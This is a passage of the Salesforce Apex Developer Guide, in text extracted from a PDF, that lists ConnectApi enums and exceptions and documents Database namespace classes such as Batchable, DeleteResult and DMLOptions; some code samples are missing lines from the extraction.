• AdvancedTextPost—A feed item with advanced text formatting, such as a group
announcement post.
• ApprovalPost—Feed item with an approval capability. Approvers can act on the feed
item parent.
• AttachArticleEvent—Feed item generated when an article is attached to a case in
Case Feed.
• BasicTemplateFeedItem—Feed item with an enhanced link capability.
• CallLogPost—Feed item generated when a call log is saved to a case in Case Feed.
• CanvasPost—Feed item generated by a canvas app in the publisher or from Chatter
REST API or Chatter in Apex. The post itself is a link to a canvas app.
• CaseCommentPost—Feed item generated when a case comment is saved in Case Feed.
• ChangeStatusPost—Feed item generated when the status of a case is changed in
Case Feed.
• ChatTranscriptionPost—Feed item generated in Case Feed when a Live Agent
chat transcript is saved to a case.
• CollaborationGroupCreated—Feed item generated when a new public group
is created. Contains a link to the new group.
• CollaborationGroupUnarchived—Deprecated. Feed item generated when an
archived group is activated.
• ContentPost—Feed item with a content capability.
• CreateRecordEvent—Feed item that describes a record created in the publisher.
• DashboardComponentAlert—Feed item with a dashboard alert.
• DashboardComponentSnapshot—Feed item with a dashboard component snapshot
capability.
• EmailMessageEvent—Feed item generated when an email is sent from a case in Case
Feed.
• FacebookPost—Deprecated. Feed item generated when a Facebook post is created
from a case in Case Feed.
• LinkPost—Feed item with a link capability.
• MilestoneEvent—Feed item generated when a case milestone is either completed
or reaches a violation status. Contains a link to the case milestone.
• PollPost—Feed item with a poll capability. Viewers of the feed item are allowed to vote
on the options in the poll.
1787
Enum Description
• ProfileSkillPost—Feed item generated when a skill is added to a user’s profile.
• QuestionPost—Feed item generated when a question is asked.
As of API version 33.0, a feed item of this type can have a content capability and a link
capability.
• ReplyPost—Feed item generated by a Chatter Answers reply.

• RypplePost—Feed item generated when a user posts thanks.
• SocialPost—Feed item generated when a social post is created from a case in Case
Feed.
• TextPost—Feed item containing text only.
• TrackedChange—Feed item created when one or more fields on a record have been
changed.
• UserStatus—Deprecated. A user's post to their own profile.
ConnectApi.FeedItem Specifies the type of users who can see a feed item.
VisibilityType • AllUsers—Visibility is not limited to internal users.
• InternalUsers—Visibility is limited to internal users.
ConnectApi. Specifies the order of feed items in the feed.

FeedSortOrder • CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for
DirectMessageModeration, Moderation, and PendingReview feeds.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home
feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for
Company, Home, and Topics feeds.
ConnectApi.FeedType Specifies the type of feed:

• Bookmarks—Contains all feed items saved as bookmarks by the context user.
• Company—Contains all feed items except feed items of type TrackedChange. To see
the feed item, the user must have sharing access to its parent.
• DirectMessageModeration—Contains all direct messages that are flagged for
moderation. The Direct Message Moderation feed is available only to users with Moderate
Communities Chatter Messages permissions.
• DirectMessages—Contains all feed items of the context user’s direct messages.
• Files—Contains all feed items that contain files posted by people or groups that the
context user follows.
• Filter—Contains the news feed filtered to contain feed items whose parent is a specified
object type.
• Groups—Contains all feed items from all groups the context user either owns or is a
member of.
1788
Enum Description
• Home—Contains all feed items associated with any managed topic in a community.
• Landing—Contains all feed items that best drive user engagement when the feed is
requested. Allows clients to avoid an empty feed when there aren’t many personalized feed
items.
• Moderation—Contains all feed items that are flagged for moderation, except direct
messages. The Communities Moderation feed is available only to users with Moderate
Community Feeds permissions.
• News—Contains all updates for people the context user follows, groups the user is a member
of, and files and records the user is following. Also contains all updates for records whose
parent is the context user and every feed item and comment that mentions the context user
or that mentions a group the context user is a member of.
• PendingReview—Contains all feed items and comments that are pending review.
• People—Contains all feed items posted by all people the context user follows.
• Record—Contains all feed items whose parent is a specified record, which could be a
group, user, object, file, or any other standard or custom object. When the record is a group,
the feed also contains feed items that mention the group. When the record is a user, the
feed contains only feed items on that user. You can get another user’s record feed.
• Streams—Contains all feed items for any combination of up to 25 feed-enabled entities,
such as people, groups, and records, that the context user subscribes to in a stream.
• To—Contains all feed items with mentions of the context user, feed items the context user
commented on, and feed items created by the context user that are commented on.
• UserProfile—Contains feed items created when a user changes records that can be
tracked in a feed, feed items whose parent is the user, and feed items that @mention the
user. This feed is different than the news feed, which returns more feed items, including
group updates. You can get another user’s user profile feed.
ConnectApi.FieldChange Specifies the value type of a field change:

ValueType • NewValue—A new value
• OldValue—An old value
ConnectApi. Specifies the format of the file preview.

FilePreviewFormat • Pdf—Preview format is PDF.
ConnectApi. Specifies the availability status of the file preview.

FilePreviewStatus • Available—Preview is available.
• InProgress—Preview is being processed.
1789
Enum Description
• NotAvailable—Preview is unavailable.
• NotScheduled—Generation of the preview isn’t scheduled yet.
ConnectApi. The publish status of the file.

FilePublishStatus • PendingAccess—File is pending publishing.
• PrivateAccess—File is private.
• PublicAccess—File is public.
ConnectApi. Specifies the sharing option of the file.

• Restricted—Resharing of the file is restricted.
ConnectApi. Specifies the sharing privacy of a file.

FileSharingPrivacy • None—File is visible to anyone with record access.
• PrivateOnRecords—File is private on records.
ConnectApi. Specifies the sharing role of the file.

FileSharingType • Admin—Owner permission, but doesn’t own the file.
• Collaborator—Viewer permission, and can edit, change permissions, and upload a
new version of a file.
• Owner—Collaborator permission, and can make a file private, and delete a file.
• Viewer—Can view, download, and share a file.
• WorkspaceManaged—Permission controlled by the library.
ConnectApi.FolderItem Specifies the type of item in a folder.

Type • file
• folder
ConnectApi.GroupArchive Specifies a set of groups based on whether the groups are archived or not.
Status • All—All groups, including groups that are archived and groups that are not archived.
ConnectApi.GroupEmail Specifies the frequency with which a user receives email.

Frequency • EachPost
• DailyDigest
• WeeklyDigest
• Never
• UseDefault
1790
Enum Description
ConnectApi. Specifies the type of membership the user has with the group, such as group owner, manager,
GroupMembershipType or member.
• GroupOwner
• GroupManager
• NotAMember
• StandardMember
ConnectApi. The status of a request to join a private group.

GroupMembership • Accepted
RequestStatus
• Declined
• Pending
ConnectApi.GroupViral Specifies the status of an invitation to join a group.

InvitationsStatus • ActedUponUser—The user was added to the group. An email was sent asking the user
to visit the group.
• Invited—An email was sent asking the user to sign up for the org.
• MaxedOutUsers—The group has the maximum allowed members.
• MultipleError—The user wasn’t invited due to multiple errors.
• NoActionNeededUser—The user is already a member of the group.
• NotVisibleToExternalInviter—The user is not accessible to the user sending
the invitation.
• Unhandled—The user couldn’t be added to the group for an unknown reason.
ConnectApi. Specifies the group visibility type.

GroupVisibilityType • PrivateAccess—Only members of the group can see posts to this group.
• PublicAccess—All users within the community can see posts to this group.
ConnectApi.HttpRequest Specifies the HTTP method.

Method • HttpDelete—Returns HTTP 204 on success. Response body or output class is empty.
• HttpGet—Returns HTTP 200 on success.
• HttpHead—Returns HTTP 200 on success. Response body or output class is empty.
• HttpPatch—Returns HTTP 200 on success or HTTP 204 if the response body or output
class is empty.
• HttpPost—Returns HTTP 201 on success or HTTP 204 if the response body or output
class is empty. Exceptions are the batch posting resources and methods, which return HTTP
200 on success.
• HttpPut—Return HTTP 200 on success or HTTP 204 if the response body or output class
is empty.
1791
Enum Description
ConnectApi. Specifies the type of maintenance. One of the following:
MaintenanceType • Downtime—Downtime maintenance.
• GenerallyAvailable—Maintenance with generally available mode.
• MaintenanceWithDowntime—Scheduled maintenance with downtime.
• ReadOnly—Maintenance with read-only mode.
ConnectApi.ManagedTopic Specifies the type of managed topic.

Type • Featured—Topics that are featured, for example, on the community home page, but
don’t provide overall navigation.
ConnectApi.MarkupType Specifies the type of rich text markup.

• Bold—Bold tag.
ConnectApi. Specifies the type of mention completion:

MentionCompletionType • All—All mention completions, regardless of the type of record to which the mention
refers.
ConnectApi. Specifies the type of validation error for a proposed mention, if any.
MentionValidationStatus • Disallowed—The proposed mention is invalid and is rejected because the context user
is trying to mention something that is not allowed. For example, a user who is not a member
of a private group is trying to mention the private group.
• Inaccessible—The proposed mention is allowed but the user or record being
mentioned isn’t notified because they don't have access to the parent record being discussed.
• Ok—There is no validation error for this proposed mention.
ConnectApi. Specifies the type of message segment, such as text, link, field change name, or field change
MessageSegmentType value.
• EntityLink
• FieldChange
• FieldChangeName
1792
Enum Description
• FieldChangeValue
• Hashtag
• InlineImage
• Link
• MarkupBegin
• MarkupEnd
• Mention
• MoreChanges
• ResourceLink
• Text
ConnectApi. Specifies the operation to carry out on the file.

OperationType • Add—Adds the file to the feed element.
• Remove—Removes the file from the feed element.
ConnectApi. Specifies the location of an action link group on an associated feed element.
PlatformAction • Primary—The action link group is displayed in the body of the feed element.
GroupCategory
• Overflow—The action link group is displayed in the overflow menu of the feed element.
ConnectApi. Specifies the status of the action.

PlatformActionStatus • FailedStatus—The action link execution failed.
• NewStatus—The action link is ready to be executed. Available for Download and Ui
action links only.
• PendingStatus—The action link is executing. Choosing this value triggers the API call
for Api and ApiAsync action links.
• SuccessfulStatus—The action link executed successfully.
ConnectApi. Specifies the type of platform action.

PlatformActionType • ActionLink—An indicator on a feed element that targets an API, a web page, or a file,
represented by a button in the Salesforce Chatter feed UI.
• CustomButton—When clicked, opens a URL or a Visualforce page in a window or
executes JavaScript.
• InvocableAction
• ProductivityAction—Productivity actions are predefined by Salesforce and are
attached to a limited set of objects. You can’t edit or delete productivity actions.
• QuickAction—A global or object-specific action.
• StandardButton—A predefined Salesforce button such as New, Edit, and Delete.
ConnectApi. Specifies the action to take on a recommendation.

RecommendationActionType • follow—Follow a file, record, topic, or user.
1793
Enum Description
ConnectApi. Specifies the recommendation audience criteria type.

RecommendationAudience • CustomList—A custom list of users makes up the audience.
CriteriaType
• MaxDaysInCommunity—New community members make up the audience.
ConnectApi. Specifies the operation to carry out on the audience members.

RecommendationAudience • Add—Adds specified members to the audience.
MemberOperationType
• Remove—Removes specified members from the audience.
ConnectApi. Specifies a way to tie recommendations together, for example, to display recommendations in
RecommendationChannel specific places in the UI or to show recommendations based on time of day or geographic
locations.
• CustomChannel1—Custom recommendation channel. Not used by default. Work with
your community manager to define custom channels. For example, community managers
can use Community Builder to determine where recommendations appear.
your community manager to define custom channels.
• DefaultChannel—Default recommendation channel. Recommendations appear by
default on the Home and Question Detail pages of Customer Service (Napili) and Partner
Central communities. They also appear in the feed in communities in the Salesforce1 mobile
browser app and anywhere community managers add recommendations using Community
Builder.
ConnectApi. Indicates the reason for a recommendation.

RecommendationExplanationType • ArticleHasRelatedContent—Articles with related content to a context article.
• ArticleViewedTogether—Articles often viewed together with the article that the

context user just viewed.
• ArticleViewedTogetherWithViewers—Articles often viewed together with
other records that the context user views.
• Custom—Custom recommendations.
• FilePopular—Files with many followers or views.
• FileViewedTogether—Files often viewed at the same time as other files that the
context user views.
• FollowedTogetherWithFollowees—Users often followed together with other
records that the context user follows.
• GroupMembersFollowed—Groups with members that the context user follows.
1794
Enum Description
• GroupNew—Recently created groups.
• GroupPopular—Groups with many active members.
• ItemViewedTogether—Records often viewed at the same time as other records that
• PopularApp—Applications that are popular.
• RecordOwned—Records that are owned by the context user.
• RecordParentOfFollowed—Parent records of records that the context user follows.
• RecordViewed—Records that the context user recently viewed.
• TopicFollowedTogether—Topics often followed together with the record that the
• TopicFollowedTogetherWithFollowees—Topics often followed together with
other records that the context user follows.
• TopicPopularFollowed—Topics with many followers.
• TopicPopularLiked—Topics on posts that have many likes.
• UserDirectReport—Users who report to the context user.
• UserFollowedTogether—Users often followed together with the record that the
• UserFollowsSameUsers—Users who follow the same users as the context user.
• UserManager—The context user’s manager.
• UserNew—Recently created users.
• UserPeer—Users who report to the same manager as the context user.
• UserPopular—Users with many followers.
• UserViewingSameRecords—Users who view the same records as the context user.
ConnectApi. Specifies the type of record being recommended.

RecommendationType • apps
• articles
• files
• groups
• records
• topics
• users
ConnectApi. Specifies the type of object being recommended.

RecommendedObjectType • Today—Static recommendations that don’t have an ID, for example, the Today app
recommendation.
ConnectApi. The order in which fields are rendered in a grid.

RecordColumnOrder • LeftRight—Fields are rendered from left to right.
• TopDown—Fields are rendered from the top down.
1795
Enum Description
ConnectApi. The data type of a record field.
RecordFieldType • Address
• Blank
• Boolean
• Compound
• CreatedBy
• Date
• DateTime
• Email
• LastModifiedBy
• Location
• Name
• Number
• Percent
• Phone
• Picklist
• Reference
• Text
• Time
ConnectApi. Specifies the type of related feed post.

RelatedFeedPostType • Answered—Related questions that have at least one answer.
• Generic—All types of related questions, including answered, with a best answer, and
unanswered.
ConnectApi. The social network provider.

SocialNetworkProvider • Facebook
• GooglePlus
• Instagram
• KakaoTalk
• Kik
• Klout
• Line
• LinkedIn
• Messenger
• Other
• Pinterest
1796
Enum Description
• QQ
• Rypple
• SinaWeibo
• SMS
• Snapchat
• Telegram
• Twitter
• VKontakte
• WeChat
• WhatsApp
• YouTube
ConnectApi.SocialPost The message type of the social post.

MessageType • Comment
• Direct
• Post
• PrivateMessage
• Reply
• Retweet
• Tweet
ConnectApi. The current state of the social post.

SocialPostStatusType • ApprovalPending
• ApprovalRecalled
• ApprovalRejected
• Deleted
• Failed
• Hidden
• Pending
• Replied
• Sent
• Unknown
ConnectApi.SortOrder A generic sort order.

• MostRecentlyViewed—Items are in descending chronological order by view. This
sort order is valid only for Chatter feed streams.
1797
Enum Description
ConnectApi.TopicSort Specifies the order returned by the sort:
• popularDesc—Sorts topics by popularity with the most popular first. This value is the
default.
ConnectApi. Specifies the value of the vote for a feed element or comment.
UpDownVoteValue • Down
• None
• Up
ConnectApi.UserProfile Specifies the type of user profile tab:

TabType • CustomVisualForce—Tab that displays data from a Visualforce page.
• CustomWeb—Tab that displays data from any external web-based application or web
page.
• Element—Tab that displays generic content inline.
• Feed—Tab that displays the Chatter feed.
• Overview—Tab that displays user details.
ConnectApi.UserType Specifies the type of user.

• ChatterGuest—User is an external user in a private group.
• ChatterOnly—User is a Chatter Free customer.
• Internal—User is a standard organization member.
• Portal—User is an external user in a customer portal, partner portal, or community.
• Undefined—User is a user type that is a custom object.
ConnectApi. Specifies the status of a workflow process.

WorkflowProcessStatus • Approved
• Fault
• Held
• NoResponse
• Pending
• Reassigned
• Rejected
• Removed
• Started
ConnectApi.ZoneSearch Specifies the zone search result type.

ResultType • Article—Search results contain only articles.
1798
Apex Developer Guide Database Namespace
Enum Description
ConnectApi.ZoneShowIn Specifies the zone search result type.

• Community—Available in a community.
• Internal—Available internally only.
• Portal—Available in a portal.
ConnectApi Exceptions
The ConnectApi namespace contains exception classes.
All exceptions classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions on page 2529.
The ConnectApi namespace contains these exceptions:
Exception Description
ConnectApi.ConnectApiException Any logic error in the way your application is utilizing
ConnectApi code. This is equivalent to receiving a 400 error
from Chatter REST API.
ConnectApi.NotFoundException Any issues with the specified resource being found. This is
equivalent to receiving a 404 error from Chatter REST API.
ConnectApi.RateLimitException When you exceed the rate limit. This is equivalent to receiving a
503 Service Unavailable error from Chatter REST API.
Database Namespace
The Database namespace provides classes used with DML operations.
The following are the classes in the Database namespace.
IN THIS SECTION:
Batchable Interface
The class that implements this interface can be executed as a batch Apex job.
BatchableContext Interface
Represents the parameter type of a batch job method and contains the batch job ID. This interface is implemented internally by
Apex.
DeletedRecord Class
Contains information about a deleted record.
DeleteResult Class
Represents the result of a delete DML operation returned by the Database.delete method.
1799
DMLOptions Class
Enables you to set options related to DML operations.
DmlOptions.AssignmentRuleHeader Class
Enables setting assignment rule options.
DMLOptions.DuplicateRuleHeader Class
Determines options for using duplicate rules to detect duplicate records. Duplicate rules are part of the Duplicate Management
feature.
DmlOptions.EmailHeader Class
Enables setting email options.
DuplicateError Class
Contains information about an error that occurred when an attempt was made to save a duplicate record. Use if your organization
has set up duplicate rules, which are part of the Duplicate Management feature.
EmptyRecycleBinResult Class
The result of the emptyRecycleBin DML operation returned by the Database.emptyRecycleBin method.
Error Class
Represents information about an error that occurred during a DML operation when using a Database method.
GetDeletedResult Class
Contains the deleted records retrieved for a specific sObject type and time window.
GetUpdatedResult Class
Contains the result for the Database.getUpdated method call.
LeadConvert Class
Contains information used for lead conversion.
LeadConvertResult Class
The result of a lead conversion.
MergeResult Class
Contains the result of a merge Database method operation.
QueryLocator Class
Represents the record set returned by Database.getQueryLocator and used with Batch Apex.
QueryLocatorIterator Class
Represents an iterator over a query locator record set.
SaveResult Class
The result of an insert or update DML operation returned by a Database method.
UndeleteResult Class
The result of an undelete DML operation returned by the Database.undelete method.
UpsertResult Class
The result of an upsert DML operation returned by the Database.upsert method.
Batchable Interface
The class that implements this interface can be executed as a batch Apex job.
1800
Namespace
Database
SEE ALSO:
Using Batch Apex
Batchable Methods
The following are methods for Batchable.
IN THIS SECTION:
execute(jobId, recordList)
Gets invoked when the batch job executes and operates on one batch of records. Contains or calls the main execution logic for the
batch job.
finish(jobId)
Gets invoked when the batch job finishes. Place any clean up code in this method.
start(jobId)
Gets invoked when the batch job starts. Returns the record set as an iterable that will be batched for execution.
start(jobId)
Gets invoked when the batch job starts. Returns the record set as a QueryLocator object that will be batched for execution.
execute(jobId, recordList)
Gets invoked when the batch job executes and operates on one batch of records. Contains or calls the main execution logic for the batch
job.
Signature
public Void execute(Database.BatchableContext jobId, List<sObject> recordList)
Parameters
jobId
Type: Database.BatchableContext
Contains the job ID.
recordList
Type: List<sObject>
Contains the batch of records to process.
Return Value
Type: Void
finish(jobId)
Gets invoked when the batch job finishes. Place any clean up code in this method.
1801
Signature
public Void finish(Database.BatchableContext jobId)
Parameters
jobId
Return Value
Type: Void
start(jobId)
Gets invoked when the batch job starts. Returns the record set as an iterable that will be batched for execution.
Signature
public System.Iterable start(Database.BatchableContext jobId)
Parameters
jobId
Return Value
Type: System.Iterable
start(jobId)
Gets invoked when the batch job starts. Returns the record set as a QueryLocator object that will be batched for execution.
Signature
public Database.QueryLocator start(Database.BatchableContext jobId)
Parameters
jobId
Return Value
Type: Database.QueryLocator
1802
BatchableContext Interface
Represents the parameter type of a batch job method and contains the batch job ID. This interface is implemented internally by Apex.
Namespace
Database
SEE ALSO:
Batchable Interface
BatchableContext Methods
The following are methods for BatchableContext.
IN THIS SECTION:
getChildJobId()
Returns the ID of the current batch job chunk that is being processed.
getJobId()
Returns the batch job ID.
getChildJobId()
Returns the ID of the current batch job chunk that is being processed.
Signature
public Id getChildJobId()
Return Value
Type: ID
getJobId()
Returns the batch job ID.
Signature
public Id getJobId()
Return Value
Type: ID
DeletedRecord Class
Contains information about a deleted record.
1803
Namespace
Database
Usage
The getDeletedRecords method of the Database.GetDeletedResult class returns a list of
Database.DeletedRecord objects. Use the methods in the Database.DeletedRecord class to retrieve details about
each deleted record.
DeletedRecord Methods
The following are methods for DeletedRecord. All are instance methods.
IN THIS SECTION:
getDeletedDate()
Returns the deleted date of this record.
getId()
Returns the ID of a record deleted within the time window specified in the Database.getDeleted method.
getDeletedDate()
Returns the deleted date of this record.
Signature
public Date getDeletedDate()
Return Value
Type: Date
getId()
Returns the ID of a record deleted within the time window specified in the Database.getDeleted method.
Signature
public Id getId()
Return Value
Type: ID
DeleteResult Class
Represents the result of a delete DML operation returned by the Database.delete method.
1804
Namespace
Database
Usage
An array of Database.DeleteResult objects is returned with the delete database method. Each element in the DeleteResult
array corresponds to the sObject array passed as the sObject[] parameter in the delete Database method; that is, the first
element in the DeleteResult array matches the first element passed in the sObject array, the second element corresponds with the second
element, and so on. If only one sObject is passed in, the DeleteResult array contains a single element.
Example
The following example shows how to obtain and iterate through the returned Database.DeleteResult objects. It deletes some
queried accounts using Database.delete with a false second parameter to allow partial processing of records on failure. Next, it
iterates through the results to determine whether the operation was successful or not for each record. It writes the ID of every record
that was processed successfully to the debug log, or error messages and fields of the failed records.
// Query the accounts to delete
// Delete the accounts
Database.DeleteResult[] drList = Database.delete(accts, false);

for(Database.DeleteResult dr : drList) {
if (dr.isSuccess()) {
System.debug('Successfully deleted account with ID: ' + dr.getId());
}
else {
for(Database.Error err : dr.getErrors()) {
}
}
}
DeleteResult Methods
The following are methods for DeleteResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error
occurred, returns an empty set.
getId()
Returns the ID of the sObject you were trying to delete.
1805
isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise.
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred,
returns an empty set.
Signature
Return Value
getId()
Returns the ID of the sObject you were trying to delete.
Signature
public ID getId()
Return Value
Type: ID
Usage
If this field contains a value, the object was successfully deleted. If this field is empty, the operation was not successful for that object.
isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise.
Signature
Return Value
Type: Boolean
DMLOptions Class
Enables you to set options related to DML operations.
Namespace
Database
1806
Usage
Database.DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect
only for record operations performed using Apex DML and not through the Salesforce user interface. The DMLOptions class has three
child options.
DML Child Options
DmlOptions.AssignmentRuleHeader—Enables setting assignment rule options.
DmlOptions.DuplicateRuleHeader—Determines options for using duplicate rules to detect duplicate records. Duplicate rules are
part of the Duplicate Management feature.
DmlOptions.EmailHeader—Enables setting email options.
DmlOptions Properties
The following are properties for DmlOptions.
IN THIS SECTION:
allowFieldTruncation
Specifies the truncation behavior of large strings.
assignmentRuleHeader
Specifies the assignment rule to be used when creating a case or lead.
emailHeader
Specifies additional information regarding the automatic email that gets sent when an events occurs.
localeOptions
Specifies the language of any labels that are returned by Apex.
optAllOrNone
Specifies whether the operation allows for partial success.
allowFieldTruncation
Specifies the truncation behavior of large strings.
Signature
public Boolean allowFieldTruncation {get; set;}
Property Value
Type: Boolean
Usage
In Apex saved against API versions previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated.
For API version 15.0 and later, if a value is specified that is too large, the operation fails and an error message is returned. The
allowFieldTruncation property allows you to specify that the previous behavior, truncation, be used instead of the new
behavior in Apex saved against API versions 15.0 and later.
1807
assignmentRuleHeader
Specifies the assignment rule to be used when creating a case or lead.
Signature
public Database.DmlOptions.Assignmentruleheader assignmentRuleHeader {get; set;}
Property Value
Type: Database.DMLOptions.AssignmentRuleHeader
Usage
Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management.
emailHeader
Specifies additional information regarding the automatic email that gets sent when an events occurs.
Signature
public Database.DmlOptions.EmailHeader emailHeader {get; set;}
Property Value
Type: Database.DMLOptions.EmailHeader
Usage
The Salesforce user interface allows you to specify whether or not to send an email when the following events occur.
• Creation of a new case or task
• Conversion of a case email to a contact
• New user email notification
• Lead queue email notification
• Password reset
In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify additional
information regarding the email that gets sent when one of the events occurs because of the code's execution.
localeOptions
Specifies the language of any labels that are returned by Apex.
Signature
public Database.DmlOptions.LocaleOptions localeOptions {get; set;}
1808
Property Value
Type: Database.DMLOptions.LocaleOptions
Usage
The value must be a valid user locale (language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The
first two characters are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string
also has an underscore (_) and another ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US',
and the string for French Canadian is 'fr_CA.'
For a list of the languages that Salesforce supports, see Supported Languages in the Salesforce online help.
optAllOrNone
Specifies whether the operation allows for partial success.
Signature
public Boolean optAllOrNone {get; set;}
Property Value
Type: Boolean
Usage
If optAllOrNone is set to true, all changes are rolled back if any record causes errors. The default for this property is false and
successfully processed records are committed while records with errors aren't.
This property is available in Apex saved against Salesforce API version 20.0 and later.
DmlOptions.AssignmentRuleHeader Class
Enables setting assignment rule options.
Namespace
Database
Example
The following example uses the useDefaultRule option:
dmo.assignmentRuleHeader.useDefaultRule= true;

l.setOptions(dmo);
insert l;
1809
The following example uses the assignmentRuleID option:

dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';

l.setOptions(dmo);
insert l;
DmlOptions.AssignmentRuleHeader Properties
The following are properties for DmlOptions.AssignmentRuleHeader.
IN THIS SECTION:
assignmentRuleID
Specifies the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive.
useDefaultRule
If specified as true for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not
specify an assignmentRuleId.
assignmentRuleID
Specifies the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive.
Signature
public Id assignmentRuleID {get; set;}
Property Value
Type: ID
Usage
The ID can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule.
If the value is not in the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
useDefaultRule
If specified as true for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not specify
an assignmentRuleId.
Signature
public Boolean useDefaultRule {get; set;}
Property Value
Type: Boolean
1810
Usage
If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with useDefaultRule
set to true results in the case or lead being assigned to the predefined default owner. In API version 30.0 and later, the case or lead is
unassigned and doesn't get assigned to the default owner.
DMLOptions.DuplicateRuleHeader Class
Determines options for using duplicate rules to detect duplicate records. Duplicate rules are part of the Duplicate Management feature.
Namespace
Database
Example
The following example shows how to save an account record that’s been identified as a duplicate. To learn how to iterate through
duplicate errors, see DuplicateError Class
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
}
IN THIS SECTION:
DMLOptions.DuplicateRuleHeader Properties
DMLOptions.DuplicateRuleHeader Properties
The following are properties for DMLOptions.DuplicateRuleHeader.
IN THIS SECTION:
allowSave
Set to true to save the duplicate record. Set to false to prevent the duplicate record from being saved.
runAsCurrentUser
Set to true to make sure that sharing rules for the current user are enforced when duplicate rules run. Set to false to use the
sharing rules specified in the class for the request. If no sharing rules are specified, Apex code runs in system context and sharing
rules for the current user are not enforced.
allowSave
Set to true to save the duplicate record. Set to false to prevent the duplicate record from being saved.
1811
Signature
public Boolean allowSave {get; set;}
Property Value
Type: Boolean
Example
This example shows how to save an account record that’s been identified as a duplicate.
dml.DuplicateRuleHeader.allowSave = true means the user should be allowed to save the duplicate. To learn how
to iterate through duplicate errors, see DuplicateError Class.
}
runAsCurrentUser
Set to true to make sure that sharing rules for the current user are enforced when duplicate rules run. Set to false to use the sharing
rules specified in the class for the request. If no sharing rules are specified, Apex code runs in system context and sharing rules for the
current user are not enforced.
Signature
public Boolean runAsCurrentUser {get; set;}
Property Value
Type: Boolean
Usage
If specified as true, duplicate rules run for the current user, which ensures users can’t view duplicate records that aren’t available to
them.
Use runAsCurrentUser = true to detect duplicates when converting leads to contacts. Typically, lead conversion Apex code
runs in a system context and does not enforce sharing rules for the current user.
Example
This example shows how to set options so that duplicate rules run for the current user when saving a new account.
1812

}
DmlOptions.EmailHeader Class
Enables setting email options.
Namespace
Database
Usage
Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader
take effect only for DML operations carried out in Apex code.
Example
In the following example, the triggerAutoResponseEmail option is specified:
Account a = new Account(name='Acme Plumbing');
insert a;
Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe',lastname='Plumber',

accountid=a.id);
insert c;
Database.DMLOptions dlo = new Database.DMLOptions();
dlo.EmailHeader.triggerAutoResponseEmail = true;
Case ca = new Case(subject='Plumbing Problems', contactid=c.id);
database.insert(ca, dlo);
DmlOptions.EmailHeader Properties
The following are properties for DmlOptions.EmailHeader.
IN THIS SECTION:
triggerAutoResponseEmail
Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
triggerOtherEmail
Indicates whether to trigger email outside the organization (true) or not (false).
1813
triggerUserEmail
Indicates whether to trigger email that is sent to users in the organization (true) or not (false).
triggerAutoResponseEmail
Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
Signature
public Boolean triggerAutoResponseEmail {get; set;}
Property Value
Type: Boolean
Usage
This email can be automatically triggered by a number of events, for example creating a case or resetting a user password. If this value
is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is sent to that
address. If not, the email is sent to the address specified in SuppliedEmail
triggerOtherEmail
Indicates whether to trigger email outside the organization (true) or not (false).
Signature
public Boolean triggerOtherEmail {get; set;}
Property Value
Type: Boolean
Usage
This email can be automatically triggered by creating, editing, or deleting a contact for a case.
Note: Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which
IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event.
Note the following behaviors for group event email sent through Apex:
• Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
triggerUserEmail
Indicates whether to trigger email that is sent to users in the organization (true) or not (false).
1814
Signature
public Boolean triggerUserEmail {get; set;}
Property Value
Type: Boolean
Usage
This email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a
task.
Note: Adding comments to a case in Apex doesn’t trigger email to users in the organization even if triggerUserEmail is
set to true.
Note: Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which
IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note
the following behaviors for group event email sent through Apex:
• Sending a group event invitation to a user respects the triggerUserEmail option
Contains information about an error that occurred when an attempt was made to save a duplicate record. Use if your organization has
set up duplicate rules, which are part of the Duplicate Management feature.
Namespace
Database
Example
When you try to save a record that’s identified as a duplicate record by a duplicate rule, you’ll receive a duplicate error. If the duplicate
rule contains the Allow action, an attempt will be made to bypass the error.
// Try to save a duplicate account
Account duplicateAccount = new Account(Name='Acme', BillingCity='San Francisco');
Database.SaveResult sr = Database.insert(duplicateAccount, false);
if (!sr.isSuccess()) {
// Insertion failed due to duplicate detected

for(Database.Error duplicateError : sr.getErrors()){
Datacloud.DuplicateResult duplicateResult =
((Database.DuplicateError)duplicateError).getDuplicateResult();
System.debug('Duplicate records have been detected by ' +
duplicateResult.getDuplicateRule());
System.debug(duplicateResult.getErrorMessage());
}
// If the duplicate rule is an alert rule, we can try to bypass it
1815

dml.DuplicateRuleHeader.AllowSave = true;
Database.SaveResult sr2 = Database.insert(duplicateAccount, dml);
if (sr2.isSuccess()) {
}
}
